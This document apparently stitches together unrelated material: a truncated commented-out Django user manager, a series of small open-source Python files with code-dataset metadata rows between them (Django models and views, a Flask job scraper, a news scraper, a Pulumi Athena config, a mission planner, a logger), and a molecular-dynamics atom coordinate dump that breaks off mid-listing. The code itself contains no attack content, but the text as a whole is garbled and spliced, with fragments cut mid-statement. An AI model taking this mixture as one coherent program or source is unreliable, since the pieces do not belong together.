# #later I will try to add data then connect students to Users so that I can show it to the profile
#
#this is for extending user
# Create your models here.
# class MyUserManager(BaseUserManager):
# def create_user(self, email, name, date_of_birth, password=None):
# if not email:
# raise ValueError('Users must have an email address')
#
# user = self.model(
# email = self.normalize_email(email),
# name = name,
# date_of_birth=date_of_birth,
# )
#
# user.set_password(password)
# user.save(using=self._db)
# return user
#
# def create_superuser(self, email, name, date_of_birth, password):
#
# user =
| [
"[email protected]"
] | |
27625b0ca9959a66b5419c730f9e3b38cbd8bdad | 23392f060c85b5fee645d319f2fd5560653dfd5c | /01_jumptopy/chap05/Restaurant_v1.py | b8143f488dacff28b307454d80cb4ad6bba75307 | [] | no_license | heyhello89/openbigdata | 65192f381de83e4d153c072ff09fa7574f003037 | b35ff237c32013c3e5380eee782085a64edb9d80 | refs/heads/master | 2021-10-22T04:29:00.852546 | 2019-03-08T02:14:34 | 2019-03-08T02:14:34 | 125,938,319 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 613 | py | class Restaurant:
def __init__(self, input_name):
self.restaurant_name = input_name.split()[0]
self.cuisine_type = input_name.split()[1]
def describe_restaurant(self):
print("저희 레스토랑 명칭은 %s이고 %s 전문점입니다."%(self.restaurant_name, self.cuisine_type))
def open_restaurant(self):
print("저희 %s 레스토랑 오픈했습니다. 어서오세요."%(self.restaurant_name))
pey=Restaurant(input_name = input("레스토랑 이름과 요리 종류를 선택하세요.(공백으로 구분): "))
pey.describe_restaurant()
pey.open_restaurant() | [
"[email protected]"
] | |
9e94b93f9c625b41373b4d71fa584993116a74ed | ad1e55b9a67c798cf4b4ce41c76b26977f8b4e8d | /rockit/music/models.py | 83ff6ae4fca6390c25d1ac6f1e39a2e711c26f0a | [
"BSD-3-Clause"
] | permissive | kumar303/rockit | 7a6ac84bb8c37e5f3b65d7dcecf9b9c549902cf5 | fc347b5b143835ddd77fd0c1ea4e6f2007a21972 | refs/heads/master | 2021-01-10T19:51:30.638073 | 2020-07-26T19:00:37 | 2020-07-26T19:00:37 | 4,219,328 | 0 | 2 | BSD-3-Clause | 2020-07-26T19:00:38 | 2012-05-03T22:03:24 | Python | UTF-8 | Python | false | false | 4,007 | py | import hashlib
import os
from django.conf import settings
from django.db import models
from rockit.base.models import ModelBase
from rockit.base.util import filetype
from rockit.sync import s3
class VerifiedEmail(ModelBase):
email = models.CharField(max_length=255, db_index=True, unique=True)
upload_key = models.CharField(max_length=255, blank=True, null=True)
class Meta:
db_table = 'music_email'
class Track(ModelBase):
email = models.ForeignKey(VerifiedEmail)
session = models.ForeignKey('sync.SyncSession', null=True)
is_active = models.BooleanField(default=True, db_index=True)
temp_path = models.CharField(max_length=255, blank=True, null=True)
artist = models.CharField(max_length=255, db_index=True)
album = models.CharField(max_length=255, db_index=True)
track = models.CharField(max_length=255)
track_num = models.IntegerField(blank=True, null=True)
source_track_file = models.ForeignKey('music.TrackFile', null=True,
related_name='+')
large_art_url = models.CharField(max_length=255, blank=True, null=True)
medium_art_url = models.CharField(max_length=255, blank=True, null=True)
small_art_url = models.CharField(max_length=255, blank=True, null=True)
class Meta:
db_table = 'music_track'
def __unicode__(self):
return u'<%s %s:%s@%s>' % (self.__class__.__name__,
self.artist,
self.track,
self.pk)
def file(self, type):
qs = self.files.filter(type=type)
if qs.count():
return qs.get()
else:
return None
def to_json(self):
def _url(path):
return 'http://%s.s3.amazonaws.com/%s' % (
settings.S3_BUCKET,
path)
s3_urls = {}
for tf in self.files.all():
s3_urls[tf.type] = s3.get_authenticated_url(tf.s3_url)
return dict(id=self.pk,
artist=self.artist,
album=self.album,
track=self.track,
s3_urls=s3_urls,
large_art_url=self.large_art_url,
medium_art_url=self.medium_art_url,
small_art_url=self.small_art_url,
# deprecate this:
album_art_url=self.large_art_url)
def s3_url(self, type):
return '%s/%s.%s' % (self.email.pk, self.pk, type)
class TrackFile(ModelBase):
track = models.ForeignKey(Track, related_name='files')
is_active = models.BooleanField(default=True, db_index=True)
type = models.CharField(max_length=4, db_index=True)
byte_size = models.IntegerField()
sha1 = models.CharField(max_length=40, db_index=True)
s3_url = models.CharField(max_length=255)
session = models.ForeignKey('sync.SyncSession', null=True)
class Meta:
db_table = 'music_track_file'
@classmethod
def from_file(cls, track, filename, session_key, source=False):
"""Creates a track file from a filename.
if source is True it means that this file was the
original one uploaded for the track.
"""
hash = hashlib.sha1()
with open(filename, 'rb') as fp:
while 1:
chunk = fp.read(1024 * 100)
if not chunk:
break
hash.update(chunk)
sha1 = hash.hexdigest()
type = filetype(filename)
tf = cls.objects.create(track=track,
sha1=sha1,
s3_url=track.s3_url(type),
type=type,
session_id=session_key,
byte_size=os.path.getsize(filename))
if source:
Track.objects.filter(pk=track.pk).update(source_track_file=tf)
return tf
| [
"[email protected]"
] | |
af85c3d57f311d7ceaaf6234d16e697b691c7a68 | 5363e4eaa1af6fe4ba2e8c7f182c125d7b090efd | /Sunny/Python/Flask/app.py | 28d23f9f5e3b921ad6f7bce7314db4dd40acd9e3 | [] | no_license | Sunnyryu/DaebakStudy | a87a24e651491a482b9c92b98e01eae3c3bfc6c9 | 32732f11dd99d3e10625b7695e431e535edeeab1 | refs/heads/master | 2022-07-11T21:50:55.018842 | 2020-07-20T07:11:13 | 2020-07-20T07:11:13 | 244,505,943 | 0 | 0 | null | 2022-06-22T02:31:06 | 2020-03-03T00:32:20 | JavaScript | UTF-8 | Python | false | false | 1,289 | py | from flask import Flask, render_template, request, redirect, send_file
from scrapper import get_jobs
from exporter import save_to_file
app = Flask("SuperScrapper")
db = {}
@app.route("/")
def home():
return render_template("home.html")
@app.route("/report")
def report():
word = request.args.get("word")
if word:
word =word.lower()
existingJobs = db.get(word)
if existingJobs:
jobs = existingJobs
else:
jobs = get_jobs(word)
db[word] = jobs
else:
return redirect("/")
#print(jobs)
return render_template("report.html", searchingBy= word, resultsNumber=len(jobs), jobs=jobs)
@app.route("/export")
def export():
try:
word = request.args.get("word")
if not word:
raise Exception()
word = word.lower()
jobs = db.get(word)
if not jobs:
raise Exception()
save_to_file(jobs)
return send_file("jobs.csv",
mimetype='text/csv',
attachment_filename='이름을 설정하시오.csv',
as_attachment=True,
cache_timeout=0)
except:
return redirect("/")
app.run(host="0.0.0.0",port="2222")
| [
"[email protected]"
] | |
44cf3e93502c80360c84a5e60a3dd9b51d4df9f6 | ef01dc3fedeb81f0a1739822b92043592cff63b9 | /music/urls.py | fb1d9c4031a9455f706481dd5f1a57170dad47db | [] | no_license | laboyd001/python-django-music | 867cfe70cfccb108721155861003881b8040bc43 | 159a22b6beff93c8d223f5ab1c5655e9e914b920 | refs/heads/master | 2020-04-17T20:39:33.686191 | 2019-01-24T03:39:15 | 2019-01-24T03:39:15 | 166,915,444 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 795 | py | """music URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.1/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import include, path
urlpatterns = [
path('', include('history.urls')),
path('admin/', admin.site.urls),
]
| [
"[email protected]"
] | |
afa780e0f4321a1068d25a0a735061aefce29115 | 88cf3aa4eb13cda1790cd930ed2cb8c08964c955 | /chainercv/utils/image/write_image.py | b5610c992a0e0703f3c0c5571fc051b16454d9a8 | [
"MIT"
] | permissive | mingxiaoh/chainercv | 6ae854f445b7a14f55e41b51b5e4226224702b95 | cfb7481907efe93e13c729ae2d9df4706d3975a6 | refs/heads/master | 2022-11-11T20:44:31.875419 | 2018-05-03T04:09:13 | 2018-05-03T04:33:15 | 131,939,645 | 1 | 2 | MIT | 2022-10-26T00:07:37 | 2018-05-03T03:58:59 | Python | UTF-8 | Python | false | false | 517 | py | import numpy as np
from PIL import Image
def write_image(img, path):
"""Save an image to a file.
This function saves an image to given file. The image is in CHW format and
the range of its value is :math:`[0, 255]`.
Args:
image (~numpy.ndarray): An image to be saved.
path (str): The path of an image file.
"""
if img.shape[0] == 1:
img = img[0]
else:
img = img.transpose((1, 2, 0))
img = Image.fromarray(img.astype(np.uint8))
img.save(path)
| [
"[email protected]"
] | |
bae1ee85529bad01328f91ec316207f6cf065957 | f7110aaab742fc92179302c5874691078ed05158 | /book_author_shell/book_author/views.py | 33d21d80d85a99cfc6465ff8b778e23db2d583fc | [] | no_license | Moha327/python_extra | 0f9252a46a652ffe83d97cd0d6906a1835c2abbf | a3e1b31831578484c651d76bfd01173fe9d6eb10 | refs/heads/master | 2023-05-23T14:03:21.962212 | 2021-06-16T13:50:06 | 2021-06-16T13:50:06 | 377,511,352 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,341 | py | from django.shortcuts import render,HttpResponse,redirect
from .models import *
# Create your views here.
def index(request):
context = {
"books": Book.objects.all(),
"authors": Author.objects.all()
# 'books':models.allBook()
}
return render(request, 'index.html' , context)
def register(request):
if request.method=="POST":
Book.objects.create(title=request.POST['title'],desc=request.POST['description'])
return redirect('/')
def index2(request):
context = {
"books": Book.objects.all(),
"authors": Author.objects.all(),
}
return render(request, 'book.html' , context)
def display(request,id1):
book = Book.objects.get(id =id1)
context={
"books":book,
"authors":Author.objects.all()
}
return render(request, 'book.html' , context)
def add(request,id1):
if request.method=="POST":
author=Author.objects.get(id=request.POST['selects'])
book=Book.objects.get(id=id1)
book.authors.add(author)
return redirect(f"/books/{id1}")
def index3(request):
context = {
"books": Book.objects.all(),
"authors": Author.objects.all(),
}
return render(request, 'author.html' , context)
def add2(request,id1):
author = Author.objects.get(id =id1)
context={
"authors":author,
"book":Book.objects.all()
}
return render(request, 'author2.html' , context)
def register2(request):
if request.method=="POST":
Author.objects.create(first_name=request.POST['fname'],last_name=request.POST['lname'],notes=request.POST['notes'])
return redirect('/author')
def index4(request):
context = {
"books": Book.objects.all(),
"authors": Author.objects.all(),
}
return render(request, 'author2.html' , context)
def add3(request,id1):
if request.method=="POST":
author=Author.objects.get(id=request.POST['select'])
book=Book.objects.get(id=id1)
author.clients.add(author)
return redirect(f"/author/{id1}")
# def addBook(request):
# if request.method == 'POST':
# title = req
# desc = req
# def showBook(request,id):
# context = {
# 'this_book':models.getBook(id)
# }
# return render(request,book.html) | [
"[email protected]"
] | |
7ed1c30363e1f08e66f3739c047e711d18b9a751 | 0cd64f3f67c6a3b130a788906da84ffc3d15396a | /Library/lib/python3.9/site-packages/terminado/__init__.py | b719a2732b62668ad85459f6c3593ec181c85a6a | [
"MIT",
"BSD-3-Clause",
"0BSD",
"LicenseRef-scancode-free-unknown",
"GPL-1.0-or-later",
"LicenseRef-scancode-other-copyleft",
"LicenseRef-scancode-python-cwi",
"Python-2.0"
] | permissive | Ryorama/codeapp | 32ef44a3e8058da9858924df211bf82f5f5018f1 | cf7f5753c6c4c3431d8209cbaacf5208c3c664fa | refs/heads/main | 2023-06-26T09:24:13.724462 | 2021-07-27T17:54:25 | 2021-07-27T17:54:25 | 388,520,626 | 0 | 0 | MIT | 2021-07-22T16:01:32 | 2021-07-22T16:01:32 | null | UTF-8 | Python | false | false | 544 | py | """Terminals served to xterm.js using Tornado websockets"""
# Copyright (c) Jupyter Development Team
# Copyright (c) 2014, Ramalingam Saravanan <[email protected]>
# Distributed under the terms of the Simplified BSD License.
from .websocket import TermSocket
from .management import (TermManagerBase, SingleTermManager,
UniqueTermManager, NamedTermManager)
import logging
# Prevent a warning about no attached handlers in Python 2
logging.getLogger(__name__).addHandler(logging.NullHandler())
__version__ = '0.9.4'
| [
"[email protected]"
] | |
11f2b5cb85357f64b7a41695ae6f16913c41d8d2 | 9431bba2d148f8aef9c0a8f3ca16fcf875890757 | /matplotlib_exercise/3dplot.py | 823f335d0f5214c0f6a80c17480335fb03bcdaa1 | [
"MIT"
] | permissive | terasakisatoshi/pythonCodes | fba0b78414b2c85f4a738200354ea583f0516768 | 953210c06e9885a7c885bc01047715a77de08a1a | refs/heads/master | 2023-05-14T12:30:22.201711 | 2023-05-07T13:41:22 | 2023-05-07T13:41:22 | 197,893,702 | 2 | 1 | MIT | 2022-11-25T10:59:52 | 2019-07-20T07:09:12 | Jupyter Notebook | UTF-8 | Python | false | false | 407 | py | from matplotlib import pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
import numpy as np
fig=plt.figure()
ax1=fig.add_subplot(121,projection='3d')
X=Y=np.arange(-3.3,3.3,0.3)
X,Y=np.meshgrid(X,Y)
Z=np.cos(np.sqrt(X*X+Y*Y))
ax1.plot_surface(X,Y,Z,rstride=1,cstride=1)
ax2=fig.add_subplot(122,projection='3d')
ax2.scatter3D(np.random.rand(100),np.random.rand(100),np.random.rand(100))
plt.show()
| [
"[email protected]"
] | |
285fce054cb4b6f25560dec504b9a781325d51d1 | 9009ad47bc1d6adf8ee6d0f2f2b3125dea44c0aa | /abc004_2.py | bc6cf2f9686dea24440c44413bba61a132f9ed6a | [] | no_license | luctivud/Coding-Trash | 42e880624f39a826bcaab9b6194add2c9b3d71fc | 35422253f6169cc98e099bf83c650b1fb3acdb75 | refs/heads/master | 2022-12-12T00:20:49.630749 | 2020-09-12T17:38:30 | 2020-09-12T17:38:30 | 241,000,584 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 882 | py | # जय श्री राम
import sys; import math; from collections import *
# sys.setrecursionlimit(10**6)
def get_ints(): return map(int, input().split())
def get_list(): return list(get_ints())
def printspx(*args): return print(*args, end="")
def printsp(*args): return print(*args, end=" ")
UGLYMOD = int(1e9+7); SEXYMOD = 998244353; MAXN = int(1e5)
# sys.stdin = open("input.txt","r"); sys.stdout = open("output.txt","w")
matr = []
for i in range(4):
li = list(input().split())
matr.append(li)
for i in range(3, -1, -1):
for j in range(3, -1, -1):
printsp(matr[i][j])
print()
'''
>>> COMMENT THE STDIN!! CHANGE ONLINE JUDGE !!
THE LOGIC AND APPROACH IS MINE @luctivud ( UDIT GUPTA )
Link may be copy-pasted here if it's taken from other source.
DO NOT PLAGIARISE.
>>> COMMENT THE STDIN!! CHANGE ONLINE JUDGE !!
''' | [
"[email protected]"
] | |
27dd825851e20094d5c582a2aec94b07f03aa620 | 8ca19f1a31070738b376c0370c4bebf6b7efcb43 | /office365/intune/devices/data.py | 356d6888c9b603e4568ea707e50f61a7cd4e0156 | [
"MIT"
] | permissive | vgrem/Office365-REST-Python-Client | 2ef153d737c6ed5445ba1e446aeaec39c4ef4ed3 | cbd245d1af8d69e013c469cfc2a9851f51c91417 | refs/heads/master | 2023-09-02T14:20:40.109462 | 2023-08-31T19:14:05 | 2023-08-31T19:14:05 | 51,305,798 | 1,006 | 326 | MIT | 2023-08-28T05:38:02 | 2016-02-08T15:24:51 | Python | UTF-8 | Python | false | false | 128 | py | from office365.runtime.client_value import ClientValue
class DeviceAndAppManagementData(ClientValue):
"""Exported Data"""
| [
"[email protected]"
] | |
dbd092cd987efe95f6be5c4270e5d9a437ec863f | f67986550761cf3ed174d01063f5fdc8a26f59f3 | /mission/missions/opt.py | 8a285573d41e8e9e8939678eaaabbd9b6aa4beca | [
"BSD-3-Clause"
] | permissive | wpfhtl/software | 4dd5d116a1c90660264b32006617a6809b0a530e | 575d424be6b497e0f34f7297a9b322567c2e26c0 | refs/heads/master | 2021-01-23T02:40:49.542461 | 2016-04-15T04:16:21 | 2016-04-15T04:16:21 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,152 | py | '''
Optimal Mission Runner
Introduction:
Usage:
Tasks must expose the following interface:
currentPoints :: double
possibleModes :: () -> [mode]
--> Should take into account state, whether we think we're succeeding.
Tasks are passed the following parameters on run:
mode :: string (the name of the mode)
flex :: bool
Caveats / To Know:
Task instances may be re-run after periods of inactivity (not being run).
This can cause issues with quasi-time-dependent state, e.g. PID loops calculating dts.
Suggested fix: check self.last_run in on_run and reset such state if too much time has passed.
'''
from functools import *
from mission.framework.task import *
from mission.framework.combinators import *
from mission.framework.movement import *
from mission.framework.primitive import *
from mission.opt_aux import *
import shm
def generate(currentPlan, optimizableTasks, topologicalRestrictions):
# The names of the tasks we're already planning to do
currentTaskNames = set(p.taskName for p in currentPlan)
# Cannot do any of the after tasks if we haven't done the before task first.
impermissible = set(r.afterTask for r in topologicalRestrictions if r.beforeTask not in currentTaskNames)
# Possible execution plans
possible = []
for remaining in optimizableTasks:
if remaining.name in impermissible:
continue
others = [t for t in optimizableTasks if t.name is not remaining.name]
for mode in remaining.instance.possibleModes():
taskPlan = TaskPlan(
taskName = remaining.name,
taskInstance = remaining.instance,
startPosition = remaining.startPosition(),
startOrientation = remaining.startOrientation(),
permissibleBoundingBox = remaining.permissibleBoundingBox(),
mode = mode
)
# Construct a possible execution plan in which we execute this task with this mode
remainder = generate(currentPlan + [taskPlan], others, topologicalRestrictions)
possible += remainder
# Construct a possible execution plan in which we just skip the task
skip = generate(currentPlan, others, topologicalRestrictions)
possible += skip
return possible
def stat(executionPlan, capabilities):
points, time, num_poss = 0., 0., len(executionPlan)
for ind in range(num_poss):
currTask = executionPlan[ind]
nextTask = executionPlan[ind + 1] if ind < num_poss - 1 else None
points += currTask.expectedPoints
time += currTask.expectedTime
if nextTask is not None:
# TODO Add time based on vector distance / sub speed.
# distance = auvec.norm(nextTask.startPosition - currTask.startPosition)
distance = 0
time += distance / capabilities.speed
return ExecutionPlanStat(expectedPoints = points, expectedTime = time)
def execute(taskPlan):
# TODO Deal with position, orientation, and bounding box.
taskPlan.taskInstance(
mode = taskPlan.mode,
flex = False
)
class Opt(Task):
def __init__(self, subtasks):
super().__init__() # TODO why
def on_first_run(self):
pass
def on_run(self):
pass
def on_finish(self):
pass
| [
"[email protected]"
] | |
8d9d062fd8a6c677a97b2fbfd5d2e4e8674c0647 | e3365bc8fa7da2753c248c2b8a5c5e16aef84d9f | /indices/nneustathiu.py | 5a21529fc3a6677e1b00ca0d258ad4d164aeecf3 | [] | no_license | psdh/WhatsintheVector | e8aabacc054a88b4cb25303548980af9a10c12a8 | a24168d068d9c69dc7a0fd13f606c080ae82e2a6 | refs/heads/master | 2021-01-25T10:34:22.651619 | 2015-09-23T11:54:06 | 2015-09-23T11:54:06 | 42,749,205 | 2 | 3 | null | 2015-09-23T11:54:07 | 2015-09-18T22:06:38 | Python | UTF-8 | Python | false | false | 198 | py | ii = [('LeakWTI3.py', 2), ('WilkJMC2.py', 2), ('GrimSLE.py', 1), ('ClarGE.py', 1), ('DibdTRL2.py', 1), ('NewmJLP.py', 1), ('LeakWTI4.py', 3), ('MereHHB.py', 2), ('WestJIT.py', 1), ('ClarGE3.py', 1)] | [
"[email protected]"
] | |
ab80221c201f8a39f9ab877abb289b445c676c9f | 0822d36728e9ed1d4e91d8ee8b5ea39010ac9371 | /robo/pages/gazetadopovo.py | 4da3d40428d2a85f59fddd2ee6384492a83ae54e | [] | no_license | diegothuran/blog | 11161e6f425d08bf7689190eac0ca5bd7cb65dd7 | 233135a1db24541de98a7aeffd840cf51e5e462e | refs/heads/master | 2022-12-08T14:03:02.876353 | 2019-06-05T17:57:55 | 2019-06-05T17:57:55 | 176,329,704 | 0 | 0 | null | 2022-12-08T04:53:02 | 2019-03-18T16:46:43 | Python | UTF-8 | Python | false | false | 1,051 | py | # coding: utf-8
import sys
sys.path.insert(0, '../../../blog')
from bs4 import BeautifulSoup
import requests
from robo.pages.util.constantes import PAGE_LIMIT
GLOBAL_RANK = 2763
RANK_BRAZIL = 123
NAME = 'gazetadopovo.com.br'
def get_urls():
try:
urls = []
root = 'https://www.gazetadopovo.com.br/'
for i in range(PAGE_LIMIT):
if(i == 0):
link = 'https://www.gazetadopovo.com.br/ultimas-noticias/'
else:
link = 'https://www.gazetadopovo.com.br/ultimas-noticias/?offset=' + str(i)
req = requests.get(link)
noticias = BeautifulSoup(req.text, "html.parser").find_all('article', class_='c-chamada lista-ordenada ultimas-chamadas')
for noticia in noticias:
href = noticia.find_all('a', href=True)[0]['href']
full_link = root + href
# print(full_link)
urls.append(full_link)
return urls
except:
raise Exception('Exception in gazetadopovo')
| [
"[email protected]"
] | |
e87e029eaa2d3d283eadcde19b4a76984da3bf66 | f40b162d67c1aff030b14f7899c7fc4bbc1c993d | /pyvision/logger.py | afce2ba8df0aced624489f8594c7f4f3a05e60f5 | [
"MIT"
] | permissive | afcarl/pyvision | c3e7784a9feb585a3feaa936510776d5d1f36db1 | e464a4ecc60cec49569be90d51708f3ad481f28a | refs/heads/master | 2020-03-20T06:03:06.479246 | 2018-05-01T13:28:40 | 2018-05-01T13:28:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,542 | py | """
The MIT License (MIT)
Copyright (c) 2017 Marvin Teichmann
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import os
import sys
import numpy as np
import scipy as scp
import warnings
import deepdish as dd
import logging
from tables.exceptions import NaturalNameWarning
logging.basicConfig(format='%(asctime)s %(levelname)s %(message)s',
level=logging.INFO,
stream=sys.stdout)
class Logger():
def __init__(self, filename=None):
self.data = {}
self.steps = []
self.filename = filename
def init_step(self, step):
self.steps.append(step)
if len(self.steps) > 1:
# Check that step size is constant.
assert(self.steps[-1] - self.steps[-2] ==
self.steps[1] - self.steps[0])
def add_value(self, value, name, step):
assert(self.steps[-1] == step)
if len(self.steps) == 1:
self.data[name] = [value]
else:
self.data[name].append(value)
assert(len(self.data[name]) == len(self.steps))
def add_values(self, value_dict, step, prefix=None):
for name, value in value_dict.items():
if prefix is not None:
name = prefix + "\\" + name
self.add_value(value, name, step)
def save(self, filename):
if filename is None:
assert(self.filename is not None)
filename = self.filename
save_dict = {'data': self.data,
'steps': self.steps}
with warnings.catch_warnings():
warnings.simplefilter("ignore", category=NaturalNameWarning)
dd.io.save(filename, save_dict)
def load(self, filename):
load_dict = dd.io.load(filename)
self.data = load_dict['data']
self.steps = load_dict['steps']
return self
def reduce_step(self, step):
reduced_data = {}
assert(step >= 0)
assert(step <= len(self.steps))
for key, value in self.data.items():
reduced_data[key] = value[step]
return reduced_data
def discard_data(self, step):
reduced_data = {}
assert(step >= 0)
assert(step <= len(self.steps))
for key, value in self.data.items():
reduced_data[key] = value[0:step]
self.data = reduced_data
self.steps = self.steps[0:step]
return
if __name__ == '__main__':
logging.info("Hello World.")
| [
"[email protected]"
] | |
26ce2c853d6fba5103f7e8c8487635468f81dce4 | 2a67dc681af4c4b9ef7a8e18c2ff75377dc5b44f | /aws.athena.Workgroup-python/__main__.py | fa1fc79a816edeaa868da2137ad1926dc3a71196 | [] | no_license | ehubbard/templates-aws | e323b693a18234defe6bd56ffcc64095dc58e3a1 | 2ae2e7a5d05490078017fed6d132dcdde1f21c63 | refs/heads/master | 2022-11-17T13:53:14.531872 | 2020-07-10T21:56:27 | 2020-07-10T21:56:27 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 450 | py | import pulumi
import pulumi_aws as aws
example = aws.athena.Workgroup("example", configuration={
"enforceWorkgroupConfiguration": True,
"publishCloudwatchMetricsEnabled": True,
"resultConfiguration": {
"encryption_configuration": {
"encryptionOption": "SSE_KMS",
"kms_key_arn": aws_kms_key["example"]["arn"],
},
"output_location": "s3://{aws_s3_bucket.example.bucket}/output/",
},
})
| [
"[email protected]"
] | |
e1151684bf7454af340d2e67902bf1f05e00335e | 649bd422025e421d86025743eac324c9b882a2e8 | /exam/1_three-dimensional_atomic_system/dump/phasetrans/temp150_4000.py | e0ed7aa5a33c2157e8926454f9444587864ee523 | [] | no_license | scheuclu/atom_class | 36ddee1f6a5995872e858add151c5942c109847c | 0c9a8c63d9b38898c1869fe8983126cef17662cd | refs/heads/master | 2021-01-21T10:52:28.448221 | 2017-03-07T23:04:41 | 2017-03-07T23:04:41 | 83,489,471 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 68,781 | py | ITEM: TIMESTEP
4000
ITEM: NUMBER OF ATOMS
2048
ITEM: BOX BOUNDS pp pp pp
-2.5531331962706183e+00 4.9753133196264614e+01
-2.5531331962706183e+00 4.9753133196264614e+01
-2.5531331962706183e+00 4.9753133196264614e+01
ITEM: ATOMS id type xs ys zs
214 1 0.0371447 0.087567 0.129368
1118 1 0.0590121 0.010013 0.135981
336 1 0.0106156 0.0708053 0.0634773
1980 1 0.0724127 0.144257 0.0855482
948 1 0.115419 0.102164 0.138993
1251 1 0.148449 0.118321 0.0396211
445 1 0.906375 0.0294217 0.144042
1767 1 0.511537 0.00985476 0.260018
872 1 0.0308688 0.267087 0.11243
1152 1 0.134522 0.0298478 0.154372
610 1 0.761334 0.0275549 0.454648
1927 1 0.249483 0.0906442 0.20365
1472 1 0.304951 0.0137828 0.203027
816 1 0.133268 0.19861 0.09071
1954 1 0.260146 0.166903 0.179679
1545 1 0.834458 0.0828977 0.44914
1209 1 0.251935 0.252119 0.0263443
1237 1 0.186726 0.0789209 0.102895
916 1 0.312335 0.0503909 0.127104
1960 1 0.102025 0.383531 0.0733749
1813 1 0.37653 0.0800875 0.208027
892 1 0.410744 0.153441 0.090351
304 1 0.270802 0.106991 0.0233886
1652 1 0.567762 0.437833 0.0257341
1316 1 0.970366 0.341018 0.352037
1365 1 0.606267 0.0343744 0.0107564
745 1 0.702436 0.485119 0.0843229
927 1 0.289182 0.0306592 0.0335416
1538 1 0.610014 0.352399 0.483534
1959 1 0.0349707 0.341511 0.398574
90 1 0.420849 0.0310123 0.0584315
31 1 0.412132 0.231756 0.101131
1139 1 0.458211 0.281616 0.0742149
1275 1 0.203284 0.0663524 0.0300261
581 1 0.466812 0.0850177 0.0673784
738 1 0.513249 0.00831272 0.0894091
1893 1 0.574237 0.0931263 0.0657447
493 1 0.709471 0.0369962 0.17099
1020 1 0.630892 0.153569 0.054573
734 1 0.222914 0.0103701 0.0818005
1195 1 0.59942 0.0680499 0.139578
213 1 0.89706 0.494511 0.462826
227 1 0.595285 0.144153 0.12699
1647 1 0.61228 0.201089 0.18422
1147 1 0.725683 0.0925732 0.118539
951 1 0.704928 0.151974 0.0569224
1968 1 0.840903 0.133286 0.0809786
535 1 0.964971 0.371012 0.485148
358 1 0.845573 0.0855464 0.152726
1384 1 0.508276 0.263798 0.00723821
1879 1 0.816541 0.194996 0.166652
622 1 0.7781 0.123786 0.158921
852 1 0.678647 0.0379534 0.341521
997 1 0.934988 0.120897 0.0491012
1011 1 1.00268 0.153819 0.183279
566 1 0.899559 0.103272 0.112047
894 1 0.675767 0.00327763 0.012272
1232 1 0.932639 0.437142 0.16285
568 1 0.960665 0.137907 0.119466
18 1 0.796743 0.0175956 0.383671
1596 1 0.944896 0.215146 0.0165783
1890 1 0.550294 0.0527888 0.314346
1752 1 0.0980801 0.184557 0.0273455
1833 1 0.111614 0.271638 0.120552
1433 1 0.0877818 0.274673 0.194495
438 1 0.782953 0.424539 0.0622073
1261 1 0.529909 0.0562327 0.0150781
514 1 0.96378 0.275452 0.06352
1623 1 0.202956 0.155579 0.082222
604 1 0.324956 0.245731 0.025701
1225 1 0.818541 0.450959 0.410921
1931 1 0.187234 0.239499 0.0623661
10 1 0.264346 0.123368 0.101074
795 1 0.150089 0.236607 0.177704
719 1 0.248741 0.245884 0.158096
516 1 0.773974 0.150048 0.0573759
1967 1 0.0967732 0.299033 0.0549789
561 1 0.342181 0.0813406 0.0425446
1943 1 0.341538 0.245634 0.348431
1076 1 0.342299 0.155779 0.0321127
1991 1 0.37532 0.283856 0.06516
12 1 0.53628 0.296917 0.0725866
44 1 0.391649 0.366778 0.224759
542 1 0.437613 0.309547 0.137343
189 1 0.471508 0.184998 0.131287
363 1 0.482064 0.210635 0.275423
1215 1 0.581187 0.289151 0.154988
1233 1 0.518844 0.241916 0.13102
17 1 0.375375 0.0431668 0.441244
1889 1 0.517988 0.204374 0.199311
1615 1 0.339727 0.128195 0.100416
1850 1 0.459408 0.302534 0.220143
536 1 0.508425 0.391449 0.129427
1115 1 0.474522 0.428787 0.413922
121 1 0.580725 0.235237 0.028584
47 1 0.653116 0.10399 0.163421
1920 1 0.529781 0.181 0.0795568
1464 1 0.654368 0.242216 0.229633
1393 1 0.641815 0.252714 0.149873
159 1 0.629682 0.299517 0.0651221
211 1 0.582032 0.218439 0.110414
586 1 0.764385 0.312285 0.101868
620 1 0.86623 0.231485 0.120972
1595 1 0.706468 0.180607 0.164985
57 1 0.702195 0.230806 0.104248
786 1 0.785795 0.267727 0.239548
289 1 0.300869 0.041732 0.433609
1370 1 0.937583 0.208684 0.107244
1682 1 0.751379 0.175144 0.11325
1553 1 0.88716 0.193834 0.251982
171 1 0.85611 0.395057 0.274723
1066 1 0.884096 0.34408 0.036569
1986 1 0.833784 0.390642 0.00806245
517 1 0.85628 0.252628 0.209077
612 1 0.844113 0.282127 0.0605859
1492 1 0.876706 0.192205 0.0215968
537 1 0.968303 0.0087595 0.0920767
1308 1 0.0065266 0.188462 0.103959
1691 1 0.0162441 0.312551 0.176148
1431 1 0.314923 0.485768 0.476272
29 1 0.163202 0.346739 0.112479
1329 1 0.935566 0.00277917 0.00893648
699 1 0.0773158 0.446198 0.094128
1444 1 0.0317358 0.36054 0.0344169
1009 1 0.147305 0.47146 0.11352
993 1 0.960872 0.366463 0.0857166
177 1 0.403266 0.473237 0.308546
791 1 0.441228 0.470403 0.14086
1630 1 0.923084 0.268033 0.17274
1062 1 0.223174 0.320051 0.0472452
112 1 0.324144 0.39386 0.158479
1058 1 0.26439 0.360161 0.134348
1780 1 0.307812 0.296135 0.105622
1172 1 0.193582 0.39957 0.0573733
202 1 0.675689 0.492008 0.438114
1849 1 0.29221 0.317124 0.0243313
